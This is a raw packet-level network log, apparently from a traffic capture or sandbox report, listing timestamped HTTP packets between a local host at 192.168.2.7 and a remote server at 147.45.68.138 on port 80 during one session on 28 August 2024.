Aug 28, 2024 22:55:52.482033014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.482065916 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.482076883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.482078075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.482089043 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.482105970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.482126951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.482137918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.494713068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494762897 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494774103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494784117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494795084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494796038 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.494812965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494820118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.494824886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494836092 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.494856119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.494875908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495418072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495451927 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495465040 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495471001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495482922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495491028 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495511055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495522022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495528936 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495552063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495563030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495564938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495575905 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.495595932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495605946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.495619059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.501928091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.501974106 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.501985073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.502063036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.502074003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.502084017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.502094984 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.502095938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.502139091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506489992 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506505013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506515980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506532907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506545067 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506553888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506567001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506587029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506607056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506618977 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506630898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506640911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506660938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506685972 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506695032 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506705999 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506716013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506726980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506731987 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506737947 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.506758928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.506786108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.513540983 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513564110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513575077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513611078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.513631105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.513695002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513705015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513715029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513726950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513737917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.513744116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.513755083 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.513782978 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519016027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519048929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519057989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519068003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519078970 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519117117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519117117 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519119024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519155025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519159079 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519165993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519213915 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519262075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519305944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.519325018 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.519365072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522401094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522428036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522444010 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522454023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522466898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522470951 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522479057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522483110 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522490025 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522499084 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522502899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522522926 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522536993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522557974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522577047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522587061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522603035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522603989 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522630930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522651911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522792101 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522803068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522813082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522823095 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.522842884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.522867918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.546325922 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546354055 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546365023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546376944 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546389103 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546395063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.546401024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546412945 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.546422958 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.546442986 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.546457052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566222906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566232920 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566277027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566287041 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566297054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566323996 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566363096 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566373110 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566399097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566409111 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566414118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566420078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566436052 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566448927 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566461086 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566544056 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566592932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566596031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566622972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566629887 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566667080 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566677094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566689014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566720963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566723108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566756010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566936016 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566947937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566957951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.566983938 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.566993952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567017078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567028046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567039013 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567056894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567065954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567075968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567078114 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567086935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567100048 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567117929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567476034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567487001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567497015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567522049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567523003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567534924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567540884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567565918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567579985 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567708015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567754984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567755938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567799091 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567853928 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567898035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567899942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567912102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.567936897 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567946911 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.567987919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568000078 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568011045 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568022966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568027973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568046093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568063021 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568835020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568866014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568876982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568882942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568896055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568906069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568912983 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568947077 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.568957090 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.568995953 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.569000006 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.569010973 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.569020987 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.569051027 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.569061041 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581583023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581626892 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581636906 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581638098 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581665993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581671953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581680059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581701040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581712008 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581722975 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.581723928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581743002 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.581752062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582343102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582393885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582412958 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582422972 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582432985 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582443953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582454920 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582464933 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582477093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582541943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582552910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582593918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582597017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582607031 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.582637072 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.582648993 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.588816881 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588833094 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588849068 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588860035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588871956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588877916 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.588884115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588888884 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.588896036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588906050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.588920116 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.588949919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.588949919 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594393015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594408035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594419003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594430923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594443083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594448090 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594453096 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594464064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594465017 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594476938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594487906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594489098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594500065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594504118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594512939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594523907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594527960 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594535112 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594546080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594554901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594554901 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594558001 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.594580889 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.594604969 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600426912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600485086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600490093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600497961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600523949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600541115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600542068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600553989 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600564957 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600575924 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600579023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600588083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.600594997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600611925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.600639105 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.605972052 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606005907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606017113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606026888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.606039047 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.606056929 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606065035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.606067896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606079102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606091022 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606097937 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.606102943 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.606139898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.606139898 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609260082 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609280109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609297991 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609312057 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609323978 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609327078 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609335899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609347105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609354019 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609359026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609373093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609392881 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609492064 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609534025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609536886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609549046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609560966 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609576941 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609586954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609587908 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609599113 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:52.609618902 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:52.609627008 CEST	49731	80	192.168.2.7	147.45.68.138
